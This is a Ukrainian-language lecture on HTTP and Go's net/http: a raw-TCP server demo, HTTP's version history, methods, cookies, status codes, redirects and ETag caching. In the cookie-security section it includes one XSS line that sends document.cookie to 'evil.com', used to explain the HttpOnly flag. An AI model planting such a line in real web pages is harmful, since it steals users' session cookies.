Протокол HTTP та стандартний вебсервер Go

Від TCP-сокетів до HTTP: чому потрібен прикладний протокол

У попередніх лекціях ми детально розібрали роботу з TCP-сокетами на низькому рівні: створювали слухача за допомогою net.Listen, приймали з'єднання через Accept(), читали та записували байти в потік net.Conn, проєктували власні протоколи прикладного рівня з розділювачами або префіксами довжини повідомлення. Ми навчилися будувати базові сервери, які можуть обмінюватися текстовими командами або бінарними структурами даних із клієнтами.

Але уявіть собі наступну ситуацію: ви створили REST API для мобільного застосунку, і вам потрібно забезпечити можливість клієнту на React Native отримувати список товарів, завантажувати зображення, відправляти форми реєстрації, аутентифікуватися через токени, обмінюватися JSON-даними. Десктопний застосунок на JavaFX або C# Avalonia повинен підключатися до того самого API. Браузерний клієнт працює через JavaScript fetch(). CLI-утиліта на Go або Python надсилає запити через бібліотеки http.Client або requests.

Якби кожен клієнт використовував власний кастомний протокол поверх TCP, вам довелося б писати окремий парсер для кожної платформи, домовлятися про формат повідомлень, обробляти помилки, керувати станом з'єднання, стежити за версіонуванням протоколу. Це було б величезною інженерною катастрофою, яка унеможливлює інтероперабельність (interoperability) — здатність різних систем працювати разом без спеціальних налаштувань.

Саме тому у 1991 році Тім Бернерс-Лі (Tim Berners-Lee) створив перший стандартизований протокол прикладного рівня для передачі гіпертекстових документів — HyperText Transfer Protocol (HTTP). Початкова версія HTTP/0.9 була надзвичайно простою: клієнт відправляв один рядок GET /index.html, сервер повертав HTML-документ і закривав з'єднання. Але ця проста ідея поклала початок стандарту, який сьогодні використовується мільярдами пристроїв по всьому світу — від смартфонів та розумних телевізорів до промислових IoT-сенсорів та серверів дата-центрів.

Демонстрація: елементарний HTTP-сервер на чистому TCP

Перш ніж переходити до зручних абстракцій стандартного пакета net/http, давайте побудуємо мінімальний HTTP-сервер вручну на базі TCP-сокетів, щоб студент міг побачити, що саме відбувається «під капотом» і чому використання готової бібліотеки є значно кращим рішенням.

HTTP/1.1 — це текстовий протокол, побудований поверх TCP. Кожен запит та відповідь складаються з текстових рядків, розділених послідовністю символів \r\n (Carriage Return + Line Feed). Ось приклад найпростішого HTTP-запиту, який браузер відправляє серверу:

GET /hello HTTP/1.1\r\n
Host: localhost:8080\r\n
\r\n

Розберемо структуру:

1. Стартовий рядок (request line): метод GET, шлях /hello, версія протоколу HTTP/1.1.
2. Заголовки (headers): один або більше рядків формату Ім'я-Заголовка: Значення, у нашому випадку Host: localhost:8080. Заголовок Host є обов'язковим у HTTP/1.1, оскільки один IP-адреса може обслуговувати десятки доменів (віртуальний хостинг).
3. Порожній рядок (\r\n\r\n): сигналізує кінець заголовків. Після нього може йти тіло запиту (body), якщо метод це передбачає (наприклад, POST).

Відповідь сервера має аналогічну структуру:

HTTP/1.1 200 OK\r\n
Content-Type: text/html; charset=utf-8\r\n
Content-Length: 62\r\n
\r\n
<html><body><h1>Hello from TCP Server</h1></body></html>

Створимо повний робочий приклад TCP-сервера, який парсить HTTP-запит та формує HTTP-відповідь вручну:

package main

import (
    "bufio"
    "fmt"
    "log"
    "net"
    "strings"
)

func main() {
    // Створюємо TCP-слухача на порту 8080
    listener, err := net.Listen("tcp", ":8080")
    if err != nil {
        log.Fatalf("Помилка створення слухача: %v", err)
    }
    defer listener.Close()

    fmt.Println("🚀 HTTP-сервер на чистому TCP запущено на http://localhost:8080")
    fmt.Println("Спробуйте відкрити у браузері або виконати: curl http://localhost:8080/hello")

    for {
        // Приймаємо вхідне з'єднання
        conn, err := listener.Accept()
        if err != nil {
            log.Printf("Помилка прийняття з'єднання: %v", err)
            continue
        }

        // Обробляємо кожне з'єднання в окремій горутині
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    defer conn.Close()

    // Читаємо запит через буферизований Reader
    reader := bufio.NewReader(conn)

    // Читаємо стартовий рядок: "GET /hello HTTP/1.1"
    requestLine, err := reader.ReadString('\n')
    if err != nil {
        log.Printf("Помилка читання стартового рядка: %v", err)
        return
    }

    // Парсимо метод та шлях
    parts := strings.Fields(requestLine)
    if len(parts) < 2 {
        sendResponse(conn, 400, "text/plain", "Bad Request: Invalid request line")
        return
    }

    method := parts[0]
    path := parts[1]

    log.Printf("📥 Запит: %s %s від %s", method, path, conn.RemoteAddr())

    // Читаємо всі заголовки до порожнього рядка
    for {
        line, err := reader.ReadString('\n')
        if err != nil {
            return
        }
        // Порожній рядок (\r\n) сигналізує кінець заголовків
        if line == "\r\n" || line == "\n" {
            break
        }
    }

    // Формуємо відповідь залежно від шляху
    switch path {
    case "/":
        html := `<html><body><h1>Вітаємо на HTTP-сервері!</h1><p>Цей сервер побудовано на чистому TCP без використання net/http.</p></body></html>`
        sendResponse(conn, 200, "text/html; charset=utf-8", html)

    case "/hello":
        html := `<html><body><h1>Hello from TCP Server</h1><p>Ви побачили еволюцію: від TCP до HTTP бібліотеки.</p></body></html>`
        sendResponse(conn, 200, "text/html; charset=utf-8", html)

    case "/json":
        json := `{"message": "Це JSON відповідь", "server": "custom-tcp-http", "version": "1.0"}`
        sendResponse(conn, 200, "application/json", json)

    default:
        html := `<html><body><h1>404 Not Found</h1><p>Ресурс не знайдено.</p></body></html>`
        sendResponse(conn, 404, "text/html; charset=utf-8", html)
    }
}

func sendResponse(conn net.Conn, statusCode int, contentType, body string) {
    // Формуємо статус-код та його текстове пояснення
    statusText := map[int]string{
        200: "OK",
        400: "Bad Request",
        404: "Not Found",
        500: "Internal Server Error",
    }[statusCode]

    // Формуємо HTTP-відповідь вручну
    response := fmt.Sprintf("HTTP/1.1 %d %s\r\n", statusCode, statusText)
    response += fmt.Sprintf("Content-Type: %s\r\n", contentType)
    response += fmt.Sprintf("Content-Length: %d\r\n", len(body))
    response += "Connection: close\r\n" // Закриваємо з'єднання після відповіді
    response += "\r\n"                  // Порожній рядок перед тілом
    response += body

    // Записуємо відповідь у сокет
    _, err := conn.Write([]byte(response))
    if err != nil {
        log.Printf("Помилка запису відповіді: %v", err)
    }
}

Цей сервер можна запустити командою:

go run cmd/http-tcp-server/main.go

Тепер відкрийте браузер та перейдіть за адресою http://localhost:8080/hello — ви побачите HTML-сторінку. Або виконайте у терміналі:

curl http://localhost:8080/json

Ви отримаєте JSON-відповідь:

{"message": "Це JSON відповідь", "server": "custom-tcp-http", "version": "1.0"}

Еволюція протоколу HTTP: від 1.0 до 3.0

Щоб по-справжньому оцінити архітектурні рішення, закладені у стандартний пакет net/http мови Go, необхідно зрозуміти історичну еволюцію самого протоколу HTTP та ті проблеми, які кожна нова версія намагалася вирішити.

HTTP/1.0 (1996): народження вебу

Специфікація HTTP/1.0 (RFC 1945) була оформлена у 1996 році і вже містила концепції методів (GET, POST, HEAD), статус-кодів та заголовків. Але архітектура HTTP/1.0 мала фундаментальну проблему: кожен запит вимагав окремого TCP-з'єднання. Процес виглядав так:

1. Клієнт встановлює TCP-з'єднання з сервером (3-way handshake).
2. Клієнт відправляє HTTP-запит.
3. Сервер відправляє HTTP-відповідь.
4. З'єднання закривається (4-way termination).

Якщо вебсторінка містила HTML-документ, 10 зображень, 3 CSS-файли та 5 JavaScript-файлів, браузер повинен був встановити та закрити 19 окремих TCP-з'єднань. Кожне з'єднання вимагає мережевого рукостискання (затримка RTT — Round-Trip Time), виділення пам'яті на сервері, налаштування вікна перегляду TCP (congestion window). Для сторінок із десятками ресурсів це створювало величезні накладні витрати.

HTTP/1.1 (1997): постійні з'єднання та конвеєри

Специфікація HTTP/1.1 (RFC 2616, пізніше оновлена у RFC 7230–7235) вирішила головну проблему попередника: було введено концепцію постійних з'єднань (persistent connections) через заголовок Connection: keep-alive. Тепер одне TCP-з'єднання могло обслуговувати декілька послідовних запитів без необхідності повторного рукостискання. Це радикально зменшило затримки та навантаження на сервер.

HTTP/1.1 також додав:

• Заголовок Host: дозволяє одному серверу обслуговувати десятки доменів на одній IP-адресі (віртуальний хостинг).
• Chunked Transfer Encoding: можливість передавати відповідь частинами без заздалегідь відомої довжини (критично для потокового відео або серверних подій).
• Нові методи: PUT, PATCH, DELETE, OPTIONS для RESTful API.
• Кешування: розширені механізми керування кешем через заголовки Cache-Control, ETag, If-None-Match.

Проте HTTP/1.1 все ще мав проблему блокування на початку черги (Head-of-Line Blocking): якщо перший запит у черзі оброблюється повільно (наприклад, завантаження великого файлу), всі наступні запити в тому самому з'єднанні змушені чекати.

HTTP/2 (2015): мультиплексування та бінарний протокол

HTTP/2 (RFC 7540) став революційним кроком: протокол перейшов з текстового формату на бінарний фреймовий формат, що дозволило реалізувати мультиплексування (multiplexing) — передачу декількох логічних потоків (streams) одночасно в межах одного TCP-з'єднання. Тепер браузер міг відправити 100 запитів одночасно, і сервер міг відповідати на них у будь-якому порядку, розподіляючи байти між потоками за пріоритетами.

HTTP/2 також запровадив:

• Стиснення заголовків (HPACK): багато заголовків повторюються в кожному запиті (наприклад, User-Agent, Cookie), HPACK стискає їх у компактні індекси.
• Server Push: сервер може ініціативно відправити ресурси клієнту ще до того, як той їх запросить (наприклад, CSS/JS при запиті HTML).
• Пріоритизація потоків: клієнт може вказати, які ресурси важливіші, щоб сервер обробляв їх першими.

Проте HTTP/2 все ще працює поверх TCP, і якщо на мережевому рівні втрачається один TCP-пакет, весь потік блокується до його повторної передачі (TCP Head-of-Line Blocking на рівні транспорту).

HTTP/3 (2022): QUIC замість TCP

HTTP/3 (RFC 9114) вирішив останню проблему, повністю замінивши транспортний протокол: замість TCP використовується QUIC (Quick UDP Internet Connections, RFC 9000) — протокол, побудований поверх UDP, але з вбудованою надійністю, шифруванням (TLS 1.3 інтегровано в QUIC) та підтримкою множинних потоків без блокування.

Основні переваги HTTP/3:

• Усунення Head-of-Line Blocking: втрата пакета впливає лише на один логічний потік, інші продовжують працювати.
• Швидше встановлення з'єднання: QUIC об'єднує криптографічне рукостискання та транспортне з'єднання в один крок (0-RTT при повторному підключенні).
• Стійкість до зміни мережі: QUIC ідентифікує з'єднання не за IP-адресою, а за унікальним Connection ID, тому перехід зі Wi-Fi на мобільний інтернет не обриває з'єднання.

Станом на 2026 рік HTTP/3 підтримується всіма основними браузерами, CDN-провайдерами (Cloudflare, Fastly, Akamai) та вебсерверами (nginx, Caddy). У Go підтримка HTTP/3 реалізована через сторонню бібліотеку quic-go, оскільки стандартна бібліотека net/http поки що офіційно підтримує лише HTTP/1.1 та HTTP/2.

@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

package "HTTP/1.0 (1996)" #FEE2E2 {
    note as N1
        ❌ Одне з'єднання = один запит
        ❌ Висока латентність RTT
        ❌ Неефективне для багатьох ресурсів
    end note
}

package "HTTP/1.1 (1997)" #FEF3C7 {
    note as N2
        ✅ Постійні з'єднання (keep-alive)
        ✅ Віртуальний хостинг (Host)
        ⚠️ Head-of-Line Blocking у черзі
    end note
}

package "HTTP/2 (2015)" #DBEAFE {
    note as N3
        ✅ Бінарний фреймовий протокол
        ✅ Мультиплексування потоків
        ✅ Стиснення заголовків (HPACK)
        ⚠️ TCP Head-of-Line Blocking
    end note
}

package "HTTP/3 (2022)" #DCFCE7 {
    note as N4
        ✅ Транспорт QUIC (поверх UDP)
        ✅ Нуль RTT при повторному з'єднанні
        ✅ Немає блокування на рівні транспорту
        ✅ Стійкість до зміни IP
    end note
}

N1 -down-> N2 : еволюція
N2 -down-> N3 : еволюція
N3 -down-> N4 : еволюція
@enduml

Анатомія HTTP-запиту: розбір структури на молекули

Кожен HTTP-запит складається з трьох основних компонентів: стартовий рядок (request line), заголовки (headers) та опціональне тіло (body). Розглянемо детально кожен елемент.

Стартовий рядок: метод, URI та версія протоколу

Стартовий рядок має наступний формат:

METHOD REQUEST-URI HTTP-VERSION\r\n

Приклади:

GET /api/v1/users HTTP/1.1
POST /auth/login HTTP/1.1
PUT /api/v1/users/42 HTTP/2.0
DELETE /api/v1/posts/123 HTTP/1.1

Компоненти:

1. METHOD — HTTP-метод, який визначає тип операції: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS, CONNECT, TRACE.
2. REQUEST-URI — шлях до ресурсу на сервері, може містити query-параметри: /api/users?page=2&limit=20.
3. HTTP-VERSION — версія протоколу: HTTP/1.1, HTTP/2.0 тощо.

HTTP-методи: семантика та властивості

Кожен HTTP-метод має чітко визначену семантику (meaning) згідно зі специфікацією RFC 7231. Розглянемо найпоширеніші методи:

GET: безпечне отримання ресурсу

• Призначення: отримання представлення ресурсу без зміни стану сервера.
• Властивості:
  • Safe (безпечний): виклик методу GET не повинен змінювати стан сервера.
  • Idempotent (ідемпотентний): багаторазовий виклик дає той самий результат, що й одноразовий.
  • Cacheable (кешується): відповіді можуть зберігатися в кеші браузера або проксі-серверів.
• Приклади:
  • GET /api/v1/users — отримання списку користувачів.
  • GET /api/v1/users/42 — отримання даних користувача з ID = 42.
  • GET /api/v1/products?category=electronics&sort=price — отримання відфільтрованого списку.

POST: створення нового ресурсу

• Призначення: створення нового ресурсу або виконання дії, яка змінює стан сервера.
• Властивості:
  • Not Safe: POST завжди змінює стан сервера (наприклад, додає запис у базу даних).
  • Not Idempotent: повторний виклик POST може створити дублікати (наприклад, два користувачі з однаковими даними).
  • Not Cacheable (за замовчуванням): відповіді POST не кешуються.
• Приклади:
  • POST /api/v1/users з тілом JSON — створення нового користувача.
  • POST /auth/login з тілом {"email": "...", "password": "..."} — вхід у систему.

PUT: повна заміна ресурсу

• Призначення: повна заміна існуючого ресурсу новим представленням або створення ресурсу за конкретним URI, якщо його не існує.
• Властивості:
  • Not Safe: змінює стан сервера.
  • Idempotent: повторний виклик PUT /api/v1/users/42 з тим самим тілом дає той самий результат.
• Приклади:
  • PUT /api/v1/users/42 з повним об'єктом користувача — заміна всіх полів.

PATCH: часткове оновлення ресурсу

• Призначення: часткова модифікація існуючого ресурсу (зміна лише окремих полів).
• Властивості:
  • Not Safe: змінює стан.
  • Idempotent (за бажанням): залежить від реалізації. Якщо PATCH встановлює абсолютні значення полів, він ідемпотентний. Якщо виконує відносні операції (наприклад, збільшити лічильник на 1), то ні.
• Приклади:
  • PATCH /api/v1/users/42 з тілом {"email": "new@example.com"} — зміна лише email.

DELETE: видалення ресурсу

• Призначення: видалення ресурсу на сервері.
• Властивості:
  • Not Safe: змінює стан.
  • Idempotent: перший виклик видаляє ресурс, всі наступні виклики повертають 404 Not Found, але стан сервера більше не змінюється.
• Приклади:
  • DELETE /api/v1/posts/123 — видалення поста.

HEAD: отримання лише заголовків

• Призначення: отримання метаданих ресурсу без тіла відповіді (корисно для перевірки існування файлу або його розміру).
• Властивості: Safe, Idempotent, Cacheable.

OPTIONS: визначення доступних методів

• Призначення: з'ясувати, які HTTP-методи підтримуються для конкретного ресурсу (використовується у CORS preflight-запитах).
• Приклад відповіді:

  HTTP/1.1 200 OK
  Allow: GET, POST, PUT, DELETE, OPTIONS
  

HTTP-заголовки: метадані запиту та відповіді

Заголовки (headers) — це пари «ключ: значення», які передають додаткову інформацію про запит або відповідь. Заголовки розділені символами \r\n, і секція заголовків завершується порожнім рядком \r\n\r\n.

Найпоширеніші заголовки запиту

Найпоширеніші заголовки відповіді

Тіло запиту та відповіді: корисне навантаження

Після секції заголовків може йти тіло (body) — корисне навантаження запиту або відповіді. Наявність тіла залежить від методу та заголовка Content-Length або Transfer-Encoding: chunked.

Приклад POST-запиту з JSON-тілом:

POST /api/v1/users HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 58

{"name": "Олександр", "email": "alex@example.com"}

Приклад відповіді:

HTTP/1.1 201 Created
Content-Type: application/json
Location: /api/v1/users/42
Content-Length: 89

{"id": 42, "name": "Олександр", "email": "alex@example.com", "created_at": "2026-09-01T10:30:00Z"}

HTTP Cookies: збереження стану між запитами

Протокол HTTP за своєю природою є беззстановим (stateless) — кожен запит обробляється незалежно, і сервер не зберігає інформацію про попередні взаємодії з клієнтом. Але як же тоді працюють вебзастосунки, які «пам'ятають» вас після входу? Як інтернет-магазин зберігає вміст вашого кошика між сторінками?

Відповідь: HTTP Cookies (куки) — невеликі фрагменти даних, які сервер відправляє клієнту через заголовок Set-Cookie, а клієнт зберігає локально і автоматично відправляє назад серверу при кожному наступному запиті через заголовок Cookie.

Життєвий цикл cookie

@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

actor "Браузер" as Client #DBEAFE
participant "Вебсервер" as Server #FEF3C7
database "Cookie Storage\n(браузер)" as Storage #DCFCE7

Client -> Server : GET /login (username, password)
Server -> Server : Перевірка облікових даних
Server -> Client : HTTP/1.1 200 OK\nSet-Cookie: session_id=abc123; HttpOnly; Secure
Client -> Storage : Зберегти cookie локально

note right of Storage #E0E7FF
  Cookie зберігається у
  захищеному сховищі браузера
end note

Client -> Server : GET /profile\nCookie: session_id=abc123
Server -> Server : Розпізнати користувача за session_id
Server -> Client : HTTP/1.1 200 OK\n(Дані профілю користувача)

Client -> Server : GET /api/cart\nCookie: session_id=abc123
Server -> Client : HTTP/1.1 200 OK\n(Вміст кошика)
@enduml

Встановлення cookie: заголовок Set-Cookie

Сервер встановлює cookie через заголовок Set-Cookie у відповіді:

HTTP/1.1 200 OK
Set-Cookie: session_id=a3fWa; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Strict
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Content-Type: text/html

<html>...</html>

Браузер зберігає ці куки та автоматично додає їх до всіх наступних запитів на цей домен:

GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=a3fWa; theme=dark

Атрибути cookie та їхнє призначення

Session cookies vs Persistent cookies

Session cookies (сесійні куки):

• Не мають атрибутів Expires або Max-Age.
• Видаляються автоматично, коли користувач закриває браузер.
• Використовуються для тимчасових даних (наприклад, ідентифікатор сесії).

Persistent cookies (постійні куки):

• Мають встановлений термін дії через Expires або Max-Age.
• Зберігаються на диску і залишаються після закриття браузера.
• Використовуються для налаштувань користувача (мова, тема), токенів "Запам'ятати мене".

Безпека cookies: атрибути HttpOnly, Secure та SameSite

HttpOnly: Найважливіший атрибут безпеки. Якщо cookie має прапорець HttpOnly, він недоступний через JavaScript (document.cookie). Це захищає від атак типу XSS (Cross-Site Scripting), коли зловмисник намагається викрасти сесійні токени через вразливість у frontend-коді.

Приклад атаки без HttpOnly:

// Зловмисник вставляє цей код через XSS-вразливість
fetch('https://evil.com/steal?cookie=' + document.cookie);

Якщо cookie має HttpOnly, цей код не зможе його прочитати.

Secure: Cookie з цим атрибутом передається лише через HTTPS, ніколи через незахищений HTTP. Це запобігає перехопленню cookie при атаці Man-in-the-Middle.

SameSite: Захист від CSRF (Cross-Site Request Forgery) атак. Існує три режими:

• SameSite=Strict: Cookie відправляється лише при запитах із того самого сайту. Якщо користувач переходить на ваш сайт з іншого домену (наприклад, клік на посилання в email), cookie не буде відправлено. Максимальний рівень захисту, але може порушити зручність використання.
• SameSite=Lax (за замовчуванням у сучасних браузерах): Cookie відправляється при навігації верхнього рівня (GET-запити при переході по посиланню), але не відправляється при крос-доменних POST-запитах або завантаженнях ресурсів (<img>, <iframe>). Баланс між безпекою та зручністю.
• SameSite=None: Cookie відправляється при всіх крос-доменних запитах. Обов'язково вимагає атрибута Secure. Використовується для віджетів, iframe-вбудовувань або стороннього аутентифікаційного провайдера (OAuth).

Приклад встановлення cookie у Go

func loginHandler(w http.ResponseWriter, r *http.Request) {
    // Після успішної аутентифікації створюємо сесію
    sessionID := generateSecureToken() // Генерація криптостійкого токена

    // Встановлюємо cookie з усіма захисними атрибутами
    cookie := &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   3600,                    // 1 година
        HttpOnly: true,                    // Захист від XSS
        Secure:   true,                    // Тільки HTTPS
        SameSite: http.SameSiteStrictMode, // Захист від CSRF
    }

    http.SetCookie(w, cookie)

    w.WriteHeader(http.StatusOK)
    fmt.Fprintf(w, "Вхід успішний. Сесія створена.")
}

Читання cookie у Go

func profileHandler(w http.ResponseWriter, r *http.Request) {
    // Читаємо cookie з запиту
    cookie, err := r.Cookie("session_id")
    if err != nil {
        if err == http.ErrNoCookie {
            http.Error(w, "Відсутня сесія. Увійдіть у систему.", http.StatusUnauthorized)
            return
        }
        http.Error(w, "Помилка читання cookie", http.StatusInternalServerError)
        return
    }

    sessionID := cookie.Value

    // Перевірка валідності сесії (у реальності — запит до Redis/бази даних)
    if !isValidSession(sessionID) {
        http.Error(w, "Невалідна або прострочена сесія", http.StatusUnauthorized)
        return
    }

    fmt.Fprintf(w, "Вітаємо! Ваша сесія: %s", sessionID)
}

Видалення cookie

Щоб видалити cookie, встановіть його з терміном дії у минулому:

func logoutHandler(w http.ResponseWriter, r *http.Request) {
    cookie := &http.Cookie{
        Name:     "session_id",
        Value:    "",
        Path:     "/",
        MaxAge:   -1, // Негативне значення видаляє cookie
        HttpOnly: true,
    }

    http.SetCookie(w, cookie)

    fmt.Fprintf(w, "Ви вийшли з системи. Cookie видалено.")
}

Статус-коди HTTP: мова спілкування між клієнтом та сервером

Кожна HTTP-відповідь починається зі статус-коду (status code) — тризначного числа, яке інформує клієнта про результат обробки запиту. Статус-коди згруповані в п'ять класів:

1xx: Інформаційні повідомлення

Використовуються рідко, сигналізують про проміжний стан обробки.

• 100 Continue: сервер готовий прийняти тіло запиту (використовується, коли клієнт спочатку відправляє заголовки з Expect: 100-continue, щоб з'ясувати, чи варто відправляти велике тіло).
• 101 Switching Protocols: сервер приймає запит на зміну протоколу (наприклад, апгрейд з HTTP на WebSocket).

2xx: Успішна обробка

• 200 OK: запит успішно оброблено, тіло містить запитані дані (використовується з GET, PUT, PATCH).
• 201 Created: ресурс успішно створено (POST). Рекомендовано повертати заголовок Location з URL нового ресурсу.
• 204 No Content: запит успішно оброблено, але немає тіла відповіді (часто використовується з DELETE або PUT, коли не потрібно повертати дані).

3xx: Редирект

• 301 Moved Permanently: ресурс переміщено на нову адресу назавжди. Клієнт повинен використовувати нову адресу з заголовка Location.
• 302 Found / 307 Temporary Redirect: тимчасовий редирект. Клієнт повинен використовувати оригінальний URL для наступних запитів.
• 304 Not Modified: ресурс не змінився з моменту попереднього запиту (використовується для кешування з заголовками If-None-Match / ETag).

Детальний розбір редиректів: коли використовувати 301, 302, 307, 308

HTTP-редиректи часто викликають плутанину, оскільки існує кілька статус-кодів зі схожою семантикою. Розглянемо детально різницю між ними та сценарії застосування.

301 Moved Permanently (постійний редирект):

• Ресурс назавжди переміщено на нову адресу.
• Браузери та пошукові системи (Google, Bing) оновлюють закладки та індекси на нову адресу.
• Зміна методу: Історично, багато браузерів змінювали POST-запит на GET при редиректі (нестандартна поведінка, але вона закріпилася).
• Використання: зміна доменного імені (example.com → newexample.com), перехід з HTTP на HTTPS назавжди, зміна структури URL.

Приклад:

HTTP/1.1 301 Moved Permanently
Location: https://newdomain.com/resource

302 Found (тимчасовий редирект, застарілий):

• Ресурс тимчасово доступний за іншою адресою.
• Пошукові системи не змінюють індекси.
• Зміна методу: Так само, як і 301, історично POST міг перетворюватися на GET.
• Проблема: Специфікація RFC 1945 не визначала чітко поведінку методу, що призвело до несумісності між реалізаціями.

307 Temporary Redirect (тимчасовий редирект з гарантією збереження методу):

• Аналогічно до 302, але метод запиту та тіло мають бути збережені.
• Якщо клієнт відправив POST, редирект має бути POST із тим самим тілом.
• Використання: тимчасове перенаправлення трафіку на резервний сервер, перенаправлення на сторінку обслуговування, A/B-тестування.

308 Permanent Redirect (постійний редирект з гарантією збереження методу):

• Аналогічно до 301, але метод запиту та тіло мають бути збережені.
• Використання: постійне перенаправлення API-ендпоінтів без зміни методу (наприклад, POST завжди залишається POST).

@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

package "Постійні редиректи" #DCFCE7 {
    card "301 Moved Permanently" as C301 #FEF3C7
    note right of C301
        • Назавжди
        • Може змінити POST → GET
        • Пошукові системи оновлять індекс
    end note

    card "308 Permanent Redirect" as C308 #FEF3C7
    note right of C308
        • Назавжди
        • Метод гарантовано зберігається
        • Для RESTful API
    end note
}

package "Тимчасові редиректи" #DBEAFE {
    card "302 Found" as C302 #FEE2E2
    note right of C302
        • Тимчасово
        • Може змінити POST → GET
        • Застарілий, не рекомендується
    end note

    card "307 Temporary Redirect" as C307 #E0E7FF
    note right of C307
        • Тимчасово
        • Метод гарантовано зберігається
        • Рекомендований
    end note
}

@enduml

Приклад постійного редиректу з HTTP на HTTPS у Go:

func redirectToHTTPS(w http.ResponseWriter, r *http.Request) {
    // Формуємо нову HTTPS-адресу
    target := "https://" + r.Host + r.URL.Path
    if r.URL.RawQuery != "" {
        target += "?" + r.URL.RawQuery
    }

    // Постійний редирект (301)
    http.Redirect(w, r, target, http.StatusMovedPermanently)
}

Приклад тимчасового редиректу з збереженням методу (307):

func maintenanceRedirect(w http.ResponseWriter, r *http.Request) {
    // Тимчасове перенаправлення на сторінку обслуговування
    http.Redirect(w, r, "/maintenance", http.StatusTemporaryRedirect) // 307
}

4xx: Помилка клієнта

• 400 Bad Request: некоректний синтаксис запиту (наприклад, невалідний JSON).
• 401 Unauthorized: відсутня або невалідна автентифікація. Клієнт повинен надати заголовок Authorization.
• 403 Forbidden: автентифікація пройшла успішно, але клієнт не має прав доступу до ресурсу.
• 404 Not Found: ресурс не знайдено на сервері.
• 405 Method Not Allowed: HTTP-метод не підтримується для цього ресурсу (наприклад, POST на ендпоінт, який приймає лише GET).
• 409 Conflict: конфлікт стану (наприклад, спроба створити користувача з email, який вже існує).
• 422 Unprocessable Entity: синтаксично коректний запит, але семантично невалідний (наприклад, валідація полів не пройшла).
• 429 Too Many Requests: клієнт перевищив ліміт запитів (Rate Limiting).

5xx: Помилка сервера

• 500 Internal Server Error: загальна помилка сервера (наприклад, необроблене виключення в коді).
• 502 Bad Gateway: проксі-сервер отримав невалідну відповідь від вищестоящого сервера.
• 503 Service Unavailable: сервер тимчасово недоступний (наприклад, перевантаження або технічне обслуговування).
• 504 Gateway Timeout: проксі-сервер не отримав відповідь від вищестоящого сервера вчасно.

HTTP Caching: оптимізація швидкодії через кешування

Одна з найпотужніших можливостей HTTP — вбудована підтримка кешування (caching). Правильно налаштоване кешування може радикально зменшити навантаження на сервер, знизити витрати на трафік та прискорити завантаження сторінок для користувачів.

Як працює HTTP-кешування

Коли браузер (або проксі-сервер, CDN) отримує відповідь від сервера, він може зберегти копію ресурсу локально. При наступному запиті того самого ресурсу кеш перевіряє, чи він ще валідний. Якщо так, ресурс завантажується з локального кешу без звернення до сервера (або з мінімальним запитом для перевірки).

@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

actor "Браузер" as Client #DBEAFE
participant "Локальний кеш" as Cache #E0E7FF
participant "Вебсервер" as Server #FEF3C7

== Перший запит (кеш порожній) ==

Client -> Server : GET /logo.png
Server -> Client : HTTP/1.1 200 OK\nCache-Control: max-age=86400\nETag: "abc123"\n[image data]
Client -> Cache : Зберегти у кеш\n(валідний 24 години)

== Повторний запит (кеш валідний) ==

Client -> Cache : GET /logo.png
Cache -> Client : 200 OK (з кешу)\n[image data]
note right #DCFCE7
  Запит до сервера НЕ відправлявся!
  Швидкість завантаження мілісекунди.
end note

== Повторний запит (потрібна валідація) ==

Client -> Server : GET /logo.png\nIf-None-Match: "abc123"
Server -> Client : HTTP/1.1 304 Not Modified
note right #FEF3C7
  Тіло НЕ передається.
  Браузер використовує кешовану версію.
end note
@enduml

Заголовок Cache-Control: керування поведінкою кешу

Заголовок Cache-Control — це основний механізм керування кешуванням у HTTP/1.1. Він містить директиви, які вказують, як кеш має обробляти відповідь.

Найпоширеніші директиви:

Приклад для статичних ресурсів (зображення, CSS, JS з хешем у назві):

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Type: image/png

Директива immutable (розширення) вказує, що ресурс ніколи не зміниться, тому браузер може кешувати його назавжди без жодних перевірок.

Приклад для приватних даних користувача:

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: application/json

Це гарантує, що відповідь не буде збережена ні в проксі, ні на диску браузера.

ETag та умовні запити: валідація без повторного завантаження

ETag (Entity Tag) — це унікальний ідентифікатор версії ресурсу, згенерований сервером (зазвичай хеш вмісту файлу або мітка часу останньої зміни). Клієнт зберігає ETag і при наступному запиті відправляє його через заголовок If-None-Match.

Приклад першого запиту:

GET /api/v1/user/profile HTTP/1.1

HTTP/1.1 200 OK
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Cache-Control: max-age=60
Content-Type: application/json

{"id": 42, "name": "Олена"}

Повторний запит через 2 хвилини (кеш застарів):

GET /api/v1/user/profile HTTP/1.1
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

Якщо ресурс не змінився, сервер повертає:

HTTP/1.1 304 Not Modified
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

Немає тіла відповіді! Браузер використовує кешовану версію. Це економить трафік і прискорює завантаження.

Якщо ресурс змінився, сервер повертає новий ETag та нові дані:

HTTP/1.1 200 OK
ETag: "9d4f89a148795d9f2533a64df551425fcc55e4d42"
Content-Type: application/json

{"id": 42, "name": "Олена Петренко"}

Реалізація ETag у Go

func userProfileHandler(w http.ResponseWriter, r *http.Request) {
    // Отримуємо дані користувача
    user := getUserFromDB(42) // {"id": 42, "name": "Олена"}
    
    // Генеруємо ETag на основі хешу даних
    data, _ := json.Marshal(user)
    etag := fmt.Sprintf("\"%x\"", sha256.Sum256(data))

    // Перевіряємо, чи клієнт надіслав If-None-Match
    if r.Header.Get("If-None-Match") == etag {
        // Ресурс не змінився
        w.WriteHeader(http.StatusNotModified)
        return
    }

    // Ресурс змінився або це перший запит
    w.Header().Set("ETag", etag)
    w.Header().Set("Cache-Control", "max-age=60")
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(user)
}

Last-Modified та If-Modified-Since

Альтернативний механізм валідації — мітка часу останньої зміни.

